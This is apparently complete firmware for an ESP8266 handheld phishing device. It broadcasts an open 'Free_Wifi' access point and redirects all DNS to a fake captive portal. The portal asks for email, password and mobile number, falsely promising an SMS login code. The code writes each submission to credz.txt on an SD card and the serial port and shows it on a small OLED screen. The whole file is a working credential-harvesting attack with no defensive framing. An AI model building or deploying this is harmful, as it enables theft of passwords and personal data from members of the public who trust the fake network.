#include <Arduino.h>
#include <U8g2lib.h>
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <DNSServer.h>

#include <SPI.h>
#include <SD.h>

IPAddress local_IP(192,168,0,1);
IPAddress gateway(192,168,0,1);
IPAddress subnet(255,255,255,0);

DNSServer dnsServer;
ESP8266WebServer server(80);

const int buzzer = 15;
bool buzzerStatus = false;

U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ 16, /* clock=*/ 5, /* data=*/ 4);
ADC_MODE(ADC_VCC);

const int chipSelect = 1;
File myFile;

int loginAttempts = 0;
String email = "";
String password = "";
String noMob = "";

void setup() {
  Serial.begin(115200);

  Serial.print("Initializing SD card...");
  if (!SD.begin(chipSelect)) {
    Serial.println("initialization failed!");
    return;
  }
  Serial.println("initialization done.");
  
  if( SD.exists("buzzer") ){ buzzerStatus = true; }
  swapBuzzer();
  
  // screen stuff (128 x 32 px)
  pinMode(10, OUTPUT);
  pinMode(9, OUTPUT);
  digitalWrite(10, 0);
  digitalWrite(9, 0);   
  u8g2.begin();  
  u8g2.enableUTF8Print(); 

  Serial.print("Setting soft-AP configuration ... ");
  Serial.println(WiFi.softAPConfig(local_IP, gateway, subnet) ? "Ready" : "Failed!");
  Serial.print("Setting soft-AP ... ");
  Serial.println(WiFi.softAP("Free_Wifi", "", 1, false, 6) ? "Ready" : "Failed!");
  Serial.print("Soft-AP IP address = ");
  Serial.println(WiFi.softAPIP());
  
  server.on("/", httpHome);
  server.on("/login", httpLogin);
  server.on("/register", httpRegister);
  server.onNotFound(httpDefault);
  if (server.hostHeader() == String("freewifi.lan")) {
    return httpHome();
  }
  server.begin();

  dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
  dnsServer.start(53, "*", local_IP);

  pinMode(buzzer, OUTPUT); 
  Serial.println("Setup done");
  doubleBuzz();   

  getBatteryLevel();
  
  delay(100);
}

void doubleBuzz(){
  if(buzzerStatus == true){
    digitalWrite( buzzer , HIGH ); 
    delay(200);      
    digitalWrite( buzzer , LOW );   
    delay(200); 
    digitalWrite( buzzer , HIGH ); 
    delay(200);       
    digitalWrite( buzzer , LOW ); 
  }
}
void buzzerIcon(){
  if(buzzerStatus){
    u8g2.setFont(u8g2_font_6x10_mf);
    u8g2.drawStr(118, 10, "}");  
  }
}
void swapBuzzer(){
  if(buzzerStatus){
    SD.remove("buzzer");
  }else{
    myFile = SD.open("buzzer", FILE_WRITE);
    myFile.print("Buzzer Enabled");
    myFile.close();
  } 
}

int getBatteryLevel() { 
  uint32_t getVcc = ESP.getVcc();
  //Serial.println(getVcc);
  float measuredvbat = getVcc; // for actual voltage
  measuredvbat /= 1024; // convert to voltage 
  //Serial.println(measuredvbat);

  int percent = map(getVcc, 2300, 3000, 0, 100); // turn vcc into batt percentage (yea I know it's not that accurate due to dropoff rate)
  return percent; 
  //return random(10,90); //DEBUG
}

void battSideBar(int percent){
  percent = map(percent, 0, 100, 1, 32);
  if(percent > 32){ percent = 32; }
  if(percent < 1){ percent = 1; }

  u8g2.drawLine(124, 32-percent,124, 32);

  u8g2.drawLine(127, 0, 127, 32);   // vert line
  u8g2.drawLine(126, 0, 127, 0);    // top marker (100%)
  u8g2.drawLine(126, 8, 127, 8);    // (75%)
  u8g2.drawLine(126, 16, 127, 16);  // middle marker (50%)
  u8g2.drawLine(126, 24, 127, 24);  //(25%)
  u8g2.drawLine(126, 31, 127, 31);  // botttom marker (0%)
}

int noConnected(){
  int conns = WiFi.softAPgetStationNum();
  
  String connStr = "";
  connStr += conns;
  connStr += "/6";
  char connChr[connStr.length()+1]; 
  connStr.toCharArray(connChr, connStr.length()+1);

  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(100,21,connChr);
}

int noAttempts(){
  String atmpStr = "t: ";
  atmpStr += loginAttempts;
  char atmpChr[atmpStr.length()+1]; 
  atmpStr.toCharArray(atmpChr, atmpStr.length()+1);

  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(90,32,atmpChr);
}

void creds(){  
  char emailChr[email.length()+1];
  email.toCharArray(emailChr, email.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,10,emailChr);

  char passwordChr[password.length()+1];
  password.toCharArray(passwordChr, password.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,21,passwordChr);

  char noMobChr[noMob.length()+1];
  noMob.toCharArray(noMobChr, noMob.length()+1);
  u8g2.setFont(u8g2_font_6x10_mf);
  u8g2.drawStr(0,32,noMobChr);
}

void httpDefault(){
  server.sendHeader("Location", "http://freewifi.lan", true);
  server.send(302, "text/plain", "");
  server.client().stop();
}

void httpHome(){
  server.send(200, "text/html", SendHTML(false,false));
}
void httpLogin(){
  server.send(200, "text/html", SendHTML(true,false));
}
void httpRegister(){
  loginAttempts += 1;
  email = server.arg("email");
  password = server.arg("pass");
  noMob = server.arg("no");
  
  Serial.println(email);
  Serial.println(password);
  Serial.println(noMob);

  myFile = SD.open("credz.txt", FILE_WRITE);
  myFile.print(email);
  myFile.print(":");
  myFile.print(password);
  myFile.print(":");
  myFile.println(noMob);
  myFile.close();

  doubleBuzz(); 
  
  server.send(200, "text/html", SendHTML(false,true));
}

String SendHTML(uint8_t login,uint8_t reg){
  String page = "<head><title>Free WiFi Portal</title></head><body><center><div style=\"text-align:center;width:300px\">";
  page += "<img src=\"data:image/png;base64, [encoded data, 13088 characters]\" alt=\"Free WiFi Logo\" />";
  if(login){
    page += "<br><br><b>Incorrect Code</b>";
  }
  if(reg){
    page += "<br><br><b>Code will be SMSed shortly</b>";
  }
  page += "<br><br><b><u>Login Code</u></b><br><br>";
  page += "<form action=\"/login\" method=\"post\"><input type=\"text\" placeholder=\"code\"><input type=\"submit\" value=\"submit\"></form>";

  page += "<br><b><u>Register</u></b><br><br>";
  page += "<div style=\"text-align:right\">";
  page += "<form action=\"/register\" method=\"post\">Email: <input type=\"text\" name=\"email\" placeholder=\"name@service.com\" ><br>Password: <input type=\"password\" name=\"pass\" placeholder=\"password\"><br>Mobile No.: <input type=\"text\" name=\"no\" placeholder=\"07.......\"><br></div><input type=\"submit\" value=\"submit\"></form>";
  page += "</center></div></body>";

  return page;
}

void loop() {

  u8g2.clearBuffer(); 
  int percent = getBatteryLevel();
  battSideBar(percent);
  
  dnsServer.processNextRequest();

  buzzerIcon();
  noConnected();
  noAttempts();
  creds();
  server.handleClient();

  u8g2.sendBuffer();
  delay(1000);
}
